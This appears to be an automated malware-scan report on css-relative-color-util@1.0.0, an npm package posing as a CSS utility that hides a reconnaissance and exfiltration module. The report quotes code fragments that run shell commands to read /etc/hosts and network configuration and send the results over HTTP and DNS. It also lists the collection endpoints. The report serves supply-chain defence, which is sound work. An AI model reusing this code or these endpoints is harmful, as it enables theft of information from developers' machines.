registry / Data exfiltration / css-relative-color-util
css-relative-color-util
CSS relative color syntax utility
This report shows the evidence for css-relative-color-util@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source establishes automatic reconnaissance and data export when the registry module loads. The inert default entrypoint limits activation but does not neutralize the executable payload.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading thunderboltRegistry.js directly or through a loader using registry-manifest.min.json.
Impact
Exposes the hostname, user identity, operating-system information, hosts-file content, and network configuration.
Mechanism
An immediately invoked function executes reconnaissance commands and sends output through HTTP requests and encoded DNS queries.
Attack narrative
The package bundles a registry module whose loading immediately gathers host information, runs shell reconnaissance commands, and exports results to fixed HTTP and DNS recipients. Its manifest maps several registry names to that module. Although the default entrypoint is inert, the shipped registry module contains active data-exfiltration behavior unrelated to CSS color utilities.
AI rationale
Inspected source establishes automatic reconnaissance and data export when the registry module loads. The inert default entrypoint limits activation but does not neutralize the executable payload.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints2
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1fdavdpb8lhot13kgmnhp0863x9g83mpswq.oast.live
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js executes shell commands to read host and network information and passes their output to an export function.
- The export function sends collected data and the hostname through HTTP requests to a fixed unrelated recipient.
- The module defines fixed HTTP and DNS collection endpoints.
- registry-manifest.min.json directs registry loaders to thunderboltRegistry.js.
- The registry module executes immediately and deletes matching entries from the module cache.
Evidence against
- index.js only exports an empty object, and package.json has no lifecycle hooks; ordinary main-entrypoint imports do not activate the payload.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourcethunderboltRegistry.jsView file
11var dns = null;
L12: try { dns = require("dns"); } catch(e) {}
L13: try { if (!dns) dns = require("node:dns"); } catch(e) {}
...
L17: var site = "unknown";
L18: try { site = require("os").hostname(); } catch(e) {}
L19: var sslug = site.replace(/[^a-z0-9]/gi,"-").substring(0,30);
...
L30: var cp = null;
L31: try { cp = require("child_process"); } catch(e) {}
L32: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L1145try { exfil("hosts", cp.execSync("cat /etc/hosts",{encoding:"utf8",timeout:5000}).trim().substring(0,200)); } catch(e) {}
try { exfil("ifconfig", cp.execSync("ifconfig 2>/dev/null||ip addr",{encoding:"utf8",timeout:5000}).trim().substring(0,200)); } catch(e) {}
} else {
if (dns) { try { dns.resolve("poc20-no-cp." + sslug
High
Ai Review Evidence
thunderboltRegistry.js executes shell commands to read host and network information and passes their output to an export function.
thunderboltRegistry.jsView on unpkg · L4521var exfil = function(label, data) {
var qs = label + "=" + encodeURIComponent(data) + "&site=" + encodeURIComponent(site);
try { fetch(wh + "?" + qs).catch(function(){}); } catch(e) {}
var dslug = data.replace(/[^a-z0-9]/gi
Findings
6 High2 Medium2 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-relative-color-util@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-relative-color-util@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.